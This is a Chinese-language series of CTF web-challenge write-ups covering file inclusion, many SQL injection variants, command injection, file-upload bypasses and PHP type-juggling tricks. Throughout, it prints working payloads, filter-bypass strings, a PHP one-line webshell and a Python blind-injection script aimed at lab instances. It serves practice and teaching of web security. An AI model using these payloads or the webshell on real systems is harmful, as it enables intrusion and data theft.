[HCTF 2018]WarmUp

拿到题目发现一张加载不出来的图片

查看源代码,发现source.php的注释

进入source.php发现是代码审计,符合一开始的提示,注意到有个hint.php,进去看看,发现flag在ffffllllaaaagggg里

返回分析代码:
首先是一个checkfile()函数,
1.定义了一个白名单:source.php和hint.php,判断$page是否为空、是否为字符串。只有都为true才不会返回false;
2.判断$page是否在白名单里,若存在返回true;
3.考虑到page有参数的情况,$_page是取出$page问号前的东西,然后再判断$_page是否在白名单里,若存在则返回true;
4.如果上一步判断失败,则又考虑了url编码的问题,因为url在传入以后服务器会自动进行一次解码。因此传入二次编码后的内容,就可以使checkfile返回true。

mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
mb_substr() 函数返回字符串的一部分。

接下来的判断只要file不为空,是字符串,并且能通过checkFile检查,就可将file的内容包含进来,造成文件包含漏洞,然后利用../来返回上一目录,进行目录遍历,最终查看flag
因此构造payload如下:

?file=source.php?../../../../../ffffllllaaaagggg(其中source.php换成hint.php也可)

?file=source.php%253f../../../../../../../../ffffllllaaaagggg(其中source.php换成hint.php也可)
传入?file=source.php%253f../../../../../../../../ffffllllaaaagggg,因为服务器会自动解一次码,所以$page的值为source.php%3f../../../../../../../../ffffllllaaaagggg,又一次url解码后,$_page的值为source.php?../../../../../../../../ffffllllaaaagggg,然后截取问号前面的source.php判断在白名单里返回true。

[极客大挑战 2019]EasySQL

进入链接,是个登录页面,结合题目,考察的是sql注入。先随便试试看看效果,用户名给个1,密码给个2,提示用户名密码错误。

然后试着用户名给1,密码给2’,让它报错。

可以看到报错内容为’2’’,右边多的那个单引号是我们输进去的,由此可以猜测密码框是字符型的诸注入点。接下来尝试注释后的效果。这回密码给2’ #,用户名随意。可以看到提示用户名密码错误,说明注释符被执行了。再试试能否正确登录,这回密码给2’ or 1#,用户名随意

可以看到登录成功,并且给出了flag,这就是所谓的万能密码。

[强网杯 2019]随便注

看一下源码

根据sqlmap是没有灵魂的,考点为sql注入,先提交1

说明是get方式提交,加个单引号看看

有报错回显,很容易判断为单引号字符型,加个注释符试试,发现成功。然后利用order by判断出为两列,尝试联合查询

弹出正则匹配,很多关键词都被过滤了。尝试堆叠注入:构造1';show databases;

确实可行,看表:1';show tables;

有1919810931114514和words两个表,然后看列,构造';show columns from words;';show columns from1919810931114514;(那串数字要加反单引号,根据mysql,关键字做名字要用反单引号引起来以示区别,数字串为表名的表操作时要加反引号)

可以看到flag在数字表中,而我们查的数据应该是从words中查到的。由于我们无法查询,所以应该想办法在在查words表时查出flag,这里就可以利用改名:将word表改名为words1或其他不碍事的名字,再将1919810931114514表改名为words,这样我们查words表时,实际查的是flag所在表。由于1919810931114514表只有flag一列,所以我们还得增加一列,并将flag列名改为原words表中的列名。
构造payload:';rename table words to words1;rename table1919810931114514to words;alter table words add column id int(10);alter table words change flag data varchar(100);
执行完之后,再查words表所有数据即可出flag:' or 1--+

此外,还有另一种方法——利用预处理语句
补充:CHAR()函数将每个参数N理解为一个整数,其返回值为一个包含这些整数的代码值所给出的字符的字符串。NULL值被省略。
于是可利用char函数绕过select的过滤
payload1:';prepare hacker from concat(char(115,101,108,101,99,116),' * from1919810931114514');execute hacker;

payload2:';set @sqli=concat(char(115,101,108,101,99,116),' * from1919810931114514');prepare hacker from @sqli;execute hacker;

利用大小写绕过即可:';SET @sqli=concat(char(115,101,108,101,99,116),' * from1919810931114514');prepare hacker from @sqli;execute hacker;

payload3:';prepare hacker from concat('s','elect',' * from1919810931114514');execute hacker;

[极客大挑战 2019]Havefun

进入链接,发现猫猫一只

查看源代码发现Syc{cat_cat_cat_cat}尝试提交,失败

然后看代码,想让你用get方式提交cat,并且值为dog,提交之后回显flag

[SUCTF 2019]EasySQL

fuzz测试一下,发现过滤了很多

尝试堆叠注入,构造1;show tables;

查出Flag表
然后看了看wp,说是比赛时题目泄露了源码:select $_POST['query'] || flag from Flag
这里涉及到一个新的知识点——sql_mode:
PIPES_AS_CONCAT
将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数Concat相类似
这样我们构造1;set sql_mode=PIPES_ASCONCAT;select 1
就会和原SQL语句组成:select 1;set sql_mode=PIPES_ASCONCAT;select 1||flag from Flag
结果如下

[ACTF2020 新生赛]Include

进入链接,有个tips,点进去发现Can you find out the flag?查看源代码又没发现什么

结合题目include可能要用伪协议,而url后面也正好有?file=,于是构造payload如下

?file=php://filter/read=convert.base64-encode/resource=flag.php

出现一串base64编码,拿去解码发现flag藏在注释里

[极客大挑战 2019]Secret File

进入链接,发现很奇葩

查看源代码,发现有个隐藏的链接是Archive_room.php,点进去又是一个黑乎乎的页面


secret上有个链接,点进去显示查阅结束,查看源代码也无果,只能回到前一个页面仔细看源代码

注意到secret上的链接是到action.php的,而查阅结束那个页面的url上显示的是end.php,可能action.php停留的时间极短,所以要利用bp查看action.php,结果发现secr3t.php


回到浏览器更改url,又是一串代码

分析得出又要利用伪协议读取源码,构造payload如下

?file=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64编码,拿去解密找到flag

[极客大挑战 2019]LoveSQL

页面上方的红字显示用sqlmap是没有灵魂的,暗示此题sql注入。
先随便给个用户名和密码

可以看到url后面多了我们刚刚输进去的内容,并且显示用户名密码错误。说明提交方式为get。接下来在1后面加个单引号

看到的报错内容为123',这是我们刚输的密码,可以推测显示位是密码框。接下来对密码做手脚,用户名仍为1,密码为123’,此时的报错内容为'123'',可以判断为单引号字符型。然后构造密码:123' %23

没有报错说明命令被执行了,然后构造万能密码:123' or 1%23

成功登录并且显示密码,然后判断列数,构造123' or 1 order by 3%23,可以登录,构造123' or 1 order by 4%23有报错,说明有三列,然后尝试联合查询,构造123' union select 1,2,3%23

可以看到登录成功的用户名密码分别为2,3,就是我们刚刚输进去的,接下来看表名:123' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

看到有两个表,其中geekuser表大概率是储存用户信息的,另一个l0ve1ysq1表看名字就很像flag所在,接下来就查它,构造123' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23

有id,username,password三列,都看一下吧:123' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1%23

如愿爆出flag

[GXYCTF2019]Ping Ping Ping

ping一下127.0.0.1

看一下当前目录127.0.0.1;ls

尝试读取flag127.0.0.1;cat flag.php

空格被过滤,绕过空格的方法大概有以下几种:

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09

不妨就用 $IFS试试,无果,用${IFS}发现{}被ban。再试$IFS$1成功。

flag被过滤,尝试读取index.php

有个变量a,尝试变量拼接,127.0.0.01;a=g;cat$IFS$1fla$a.php

查看源码出flag
内联执行的做法:127.0.0.1;cat$IFS$1ls`(内联,就是将反引号内命令的输出作为输入执行) {% asset_img 96.png %} sh的做法:127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh`(Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

[ACTF2020 新生赛]Exec

ping一下ip试试

像这种什么都没过滤的题目,可以利用常见管道符直接执行命令:
(1)|(就是按位或),直接执行|后面的语句

(2)||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

(3)&(就是按位与),&前面和后面命令都要执行,无论前面真假

(4)&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

(5);(linux下有的,和&一样的作用)

命令执行漏洞可以看这位师傅的博客:
http://www.ghtwf01.cn/index.php/archives/273/

[极客大挑战 2019]Knife

进入页面,提示菜刀丢了,并且主页上有个一句话木马,由此想到用菜刀连接,我这用的蚁剑,效果一样

进入蚁剑,输入网址,密码(密码即为post后引号内的内容),测试连接,成功

然后进行文件操作,在根目录下看到了flag文件,然后打开即可

[RoarCTF 2019]Easy Calc

知识点:
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42”+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符
2.将某些字符转换为下划线(包括空格)

简单来说:假如waf不允许num变量传递字母:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。

所需函数:
scandir()
列出 参数目录 中的文件和目录

chr()
从指定的 ASCII 值返回字符。ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,而十六进制值被定义为带前置 0x。
file_get_contents()
用来将文件的内容读入到一个字符串中

开始做题:
查看源码

注意到calc.php?num=,存在漏洞,首先我们要先扫根目录下的所有文件,也就是是scandir(“/“),但是“/”被过滤了,所以我们用chr(“47”)绕过,发现flagg文件

发现f1agg文件,锁定目标,然后尝试读取:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

成功读取flag

[极客大挑战 2019]Http

进入网页,查看源码,发现有一个链接叫Secret.php

进入链接,显示It doesn’t come from ‘https://www.Sycsecret.com,联系题目http,需要修改http报文头部

利用bp抓包,报头增加一行Referer: https://www.Sycsecret.com,发送

结果显示要用Syclover浏览器,直接修改User-Agent头为User-Agent: Syclover,继续发送

结果要求只能本地读取,那么增加一个xff头X-Forwarded-For: 127.0.0.1,出现flag

[极客大挑战 2019]Upload

先看一下源码,不是前端校验。要传jpg,好的抓包修改

将高亮处改为image/jpeg,然后forward

好的,不能有<?,回去修改一下

GIF89a
<script language="php">eval($_POST['shell']);</script>

(GIF89a是图片的文件头,因为有文件头检查)

上传成功,接下来用蚁剑连接,猜测路径为upload/shell.phtml
连接成功,在终端里直接cat /falg

[极客大挑战 2019]BabySQL

首先尝试用户名为1,密码为2

提示用户名密码错误,并且注意到提交方式为get。然后尝试在1后面加单引号,有报错回显

在2的位置有问题,接下来我们对密码进行操作,构造密码2'--+

根据回显,可以确定是单引号字符型,并且加号被过滤了,因为后面那个单引号和减号之间没有空格,为了验证,我们再加一个1,可以看到确实没有空格,被过滤了。再次尝试%23。

可以看到没有报错,显示的是用户名密码错误,说明%23没有被过滤。然后构造2' or 1 %23

按常理应该登录成功,但报错显示1 #’,猜测or被过滤了,空格没被过滤。为了验证我们用一对a将or包起来,看回显。

于是可以确定or被过滤并替换为空,然后尝试大小写、||、双写绕过。尝试之后发现,大小写绕过没有成功,果断舍弃,双写和||可以。

成功登录,然后构造2' union select 1,2,3 %23

报错,猜测union和select都被过滤了,在union前面加双引号进行验证,可以发现确实如此。再次尝试双写绕过。构造2' uunionnion selselectect 1,2,3 %23

成功登录并爆出显示位,查看当前数据库所有表名:2' uunionnion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()%23期间你会发现from和where也被过滤了,同样双写。

发现登录成功,并爆出表名,发现b4bsql表有点可疑。然后爆列名:2' uunionnion selselectect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database() aandnd table_name='b4bsql'%23期间你会发现and也被过滤了,双写绕过

继续查:2' uunionnion selselectect 1,group_concat(username,0x3a,passwoorrd),3 frfromom b4bsql %23

太长,看源码。

成功看到flag

[ACTF2020 新生赛]Upload

打开题目点亮小灯泡后可以看到一个上传点

尝试上传本地现成的一个一句话木马shell.php,发现失败,提示只能上传jpg,png,gif后缀的文件。查看源码发现return checkFile(),有前端校验,尝试剔除,继续上传

结果提示“nonono~ Bad file!”,应该是后端还有一次校验。改改后缀试试,php3,php4,php5,pht,phtml。提交shell.phtml成功,这里的phtml文件也会被当成php文件来解析,从而可以绕过

用蚁剑连接,成功

在根目录下找到flag

同时根据源代码我们也能发现针对php,php3,php4,php5都做了过滤

[ACTF2020 新生赛]BackupFile

进入页面提示:Try to find out source file!
尝试备份文件的常见后缀:.git .svn .swp .svn .~ .bak .bash_history,试到index.php.bak下载了一份代码。

代码审计:要我们用get方式提交key变量,key是数字,只要key和字符串123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3相等就输出flag。注意到这是php弱类型比较:
(1)当string类型转换为int类型的时候无论中英文均转换为数字0
(2)当string类型转换为int类型的时候,字符串开头为数字时转换为开头的数字
(3)当string类型转换为int类型的时候,如果数字中间有其他东西分隔,则转换为分隔前的数字
根据第二条,那个字符串在比较时会转换为123,所以只需提交key=123即可

[极客大挑战 2019]BuyFlag

基础知识
is_numeric()函数:https://www.cnblogs.com/xhds/p/12312223.html
strcmp()函数:https://www.cnblogs.com/xhds/p/12312055.html
正题:
进入页面,看到右上角的menu点开进入payflag页面。查看源码发现一段代码

代码审计:用post方式提交password,不是数字但又得和404相等,构造404%20发现没有反应。抓包尝试

注意观察我们抓取的包里面cookie的值有个user=0,CTF直觉这肯定要改成1的,因为正常情况下这里是cookie的值

404%20还可以用404a,因为双等号弱比较时会把后面字符串截掉。密码正确,输入money=100000000

回显Nember lenth is too long,既然说了长度太长,合理猜测一下用的是strcmp,那么直接构造数组就可以了。

[BJDCTF2020]Easy MD5

md5(string,raw)
string :必需。要计算的字符串。
raw:可选。默认不写为false。32位16进制的字符串。true。16位原始二进制格式的字符串。
进入页面之后是一个提交框,尝试sql注入发现不管怎么试都没有反应。尝试抓包

发现相应包有个提示:select from ‘admin’ where password=md5($pass,true)
我们输进去的被md5加密了, md5函数在指定了true的时候,是返回的原始 16 字符二进制格式。也就是说会返回这样子的字符串:’or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c(抄的= =)
而 Mysql 刚好又会吧 hex 转成 ascii 解释,然后就会拼接成:`select
from ‘admin’ where password=’’or’6…….’`这就永远为真了,从而实现绕过。
WP里面就是给的 ffifdyop 。我直接用好了= =心累。
进去之后显示do you like md5,直接看源码

代码审计:get方式提交a和b,a和b不等但md5值相等。由于是两个等号,这是弱比较,md5为0e开头的会被识别为科学记数法,结果均为0
举例:
QNKCDZO
s155964671a
s1091221200a
等等…;
还有就是构造数组绕过,原理是md5等函数不能处理数组,导致函数返回Null。而Null是等于Null的,导致了绕过。

绕过之后又来到一个页面,这回是post方式提交,三个等号是md5强比较,上面两种方法只有构造数组能用了。

成功绕过拿到flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

考察sql注入,尝试1’发现报错, 但没有具体内容

尝试注释符,发现不管哪个都被过滤,再次尝试发现空格也被过滤

绕过空格过滤的就那么几个,尝试之后只有%09可以。尝试联合查询,发现union被过滤,且大小写绕过和双写绕过都不行。考虑到报错会有显示,我们尝试布尔盲注,由于or,||和and被过滤,我们可用&&作为连接,构造1%09&&%09(select%09length(database()))>0进行尝试

继续尝试发现:&&其实不行

另外这边可以用异或注入

异或注入:
异或:不同为1,相同为0
1^1=0 0^0=0 1^0=1
根据1^0=1,即一真一假进行异或结果为真,这时我们可以在1的位置做手脚:构造(ascii(substr((database()),1,1))=?)^0。若构造的式子结果为真,则异或结果为真,页面可正常回显;若构造的式子结果为假,则异或结果为假,页面显示错误,这就形成了另一个意义上的布尔盲注。

构造:0^((select(length(database())))>0)

不知道为啥%09会布尔错误:

由于题目告诉我们flag在flag表中的flag列,所以我们先看一下flag的长度:0^((select(length(flag))from(flag))>0)

利用二分法很快发现flag的长度为42,然后构造:0^((select(ascii(substr((flag),1,1)))from(flag))>0)

不断尝试,试出flag(纯手工)

自写脚本

import requests
import time

url="http://c51f6066-e089-4f1b-aeec-a9366e072822.node3.buuoj.cn/index.php"
flag=""
l=1
r=300
mid=(l+r)//2
while l<r:
v="0^((select(length(flag))from(flag))>{0})".format(mid)
data={"id":v}
response=requests.post(url,data=data)
if "Hello, glzjin wants a girlfriend." in response.text:
l=mid
mid=(l+r)//2
else:
r=mid
mid=(l+r)//2
if l==mid:
break
num=r
print(num)
for i in range(1,num+1):
l=32
r=127
mid=(l+r)//2
while l<r:
v="0^((select(ascii(substr((flag),{0},1)))from(flag))>{1})".format(i,mid)
data={"id":v}
response=requests.post(url,data=data)
time.sleep(0.1)# 由于buu恶心的防护机制,必须限速
if "Hello, glzjin wants a girlfriend." in response.text:
l=mid
mid=(l+r)//2
else:
r=mid
mid=(l+r)//2
if l==mid:
break
flag+=chr(r)
print(flag)


跑脚本结果如下

[极客大挑战 2019]HardSQL

构造用户名为1,密码为2’

报错,可判断为单引号字符型,然后加注释符,测试发现—+被过滤,%23 还能用

fuzz测试一下,发现了一些过滤,union被过滤了

在利用order by判断列数的时候,我们发现有过滤,再单独尝试发现空格被过滤了,再尝试绕过发现%09,%0a,%0b之类的都不行,不过括号可以,构造2'or(1)%23进行尝试

登录成功,确实能用括号,考虑到联合查询被ban,所以利用报错注入。构造2'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)=(database())))))%23

发现不行,其实这里等号也被过滤了,不过我们可以用like关键字绕过2'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())))))%23

表名:H4rDsq1
查列名:2'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))%23

看数据:2'or(extractvalue(1,concat(0x7e,(select(group_concat(username,password))from(H4rDsq1)))))%23

成功爆出flag,但显示不全,当我们想利用substring进行截取的时候,我们会发现被过滤了,这个时候就可以利用right()函数绕过
right()函数是一个字符串函数,它返回具有指定长度的字符串的右边部分。
right(str,length):接收两个参数:
str:一个字符串;
length:想要截取的长度,是一个正整数;
于是构造:2'or(extractvalue(1,concat(0x7e,(select(right((group_concat(username,password)),32))from(H4rDsq1)))))%23

别忘了extractvalue最多显示32位,所以right函数截取的长度最多32位就好了
拼一下即可出flag

[GXYCTF2019]BabySQli

随便提交一个admin和123,回显wrong pass!
再加单引号试试

可以确定是单引号字符型,再加#试试

回显wrong pass!说明命令执行了,然后查看源码发现提示

先base32再base64得:select * from user where username = '$name'
知识点:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
另外:后台password经过了md5加密
判断列数:admin' order by 3#密码随便输

有过滤,试试大小写绕过admin' Order by 3#回显wrong pass,admin' Order by 4#回显Error: Unknown column ‘4’ in ‘order clause’
说明有三列,根据前面的知识点,我们在联合查询时如果查询admin用户,密码123,则相当于我们临时创建了一个admin用户,密码是123,由于后台存放的是md5加密后的值,所以我们查询的密码改为123的md5值即可,123的md5值为202cb962ac59075b964b07152d234b70
构造用户名:1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
密码:123

即可获取flag

[GWCTF 2019]我有一个数据库

进入之后空空如也,扫描一下找到一个phpmyadmin的后台

注意到phpmyadmin的版本为4.8.1,于是存在一个远程文件包含漏洞:https://xz.aliyun.com/t/6592

例如传入?target=db_datadict.php%253f,%253f开始服务器自动解码一次为%3f,然后urldecode函数再解码一次为?,则满足截取?之前的内容在白名单中,返回true。而在index.php中只解码一次为db_datadict.php%3f,然后进行包含

于是构造payload:?target=db_datadict.php%253f/../../../../../flag

[WUSTCTF2020]颜值成绩查询

结合成绩查询可判断为sql注入类的题目。首先输入1试试,回显100分

经过多次尝试发现可输入范围为1-4,若输入其他值会回显不存在
加个单引号试试,也回显不存在,因此报错注入用不了了
构造1'--+1'%23都回显不存在,而去掉单引号可正常回显,说明为数值类型
构造0 or 1

回显不存在,可能有过滤,试试0%09or%091

回显正常,说明空格过滤,但可用%09绕过(%0a,%0b,%0c,%0d,/**/也可绕过),再尝试发现括号也能绕过
构造0%09union%09select%091,2,3(先利用order by判断为三列)

尝试双写,大小写绕过

发现双写不行,大小写可以,接下来就是常规操作了
查表名:0%09Union%09Select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()

成功爆出表名,判断flag在flag表里,查列名:0%09Union%09Select%091,2,group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='flag'

查数据:0%09Union%09Select%091,2,group_concat(flag)%09from%09flag

发现不是,那换个字段:0%09Union%09Select%091,2,group_concat(value)%09from%09flag

成功爆出flag

解法二:布尔盲注
看表名长度:0/**/or(select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema)=(database()))=0
用bp爆破一下最后那个参数

确定长度为10,然后正式查表名:0/**/or(select(ascii(substr((group_concat(table_name)),1,1)))from(information_schema.tables)where(table_schema)=(database()))=0
爆破时出现429 Too Many Requests,只能手动,这里不做演示
查列名:0/**/or(select(ascii(substr((group_concat(column_name)),1,1)))from(information_schema.columns)where(table_schema)=(database())and(table_name)=('flag'))=0
查数据:0/**/or(select(ascii(substr((group_concat(value)),1,1)))from(flag))=0
注意改变substr函数截取的位置,即第二个参数

October 2019 Twice SQL Injection

进去之后是个登录框,有注册和登录的功能
经过尝试发现,注册时在username处注入sql语句,登录后可执行注入语句并回显内容
先注册一个用户名为:0' union select database() #的账户,密码随意,登录后爆出当前数据库

然后查表名:0' union select group_concat(table_name) from information_schema.tables where table_schema=database()#

注意到flag表,然后查列名:0' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"#

查出列名flag,然后查数据:0' union select group_concat(flag) from flag#

成功爆出flag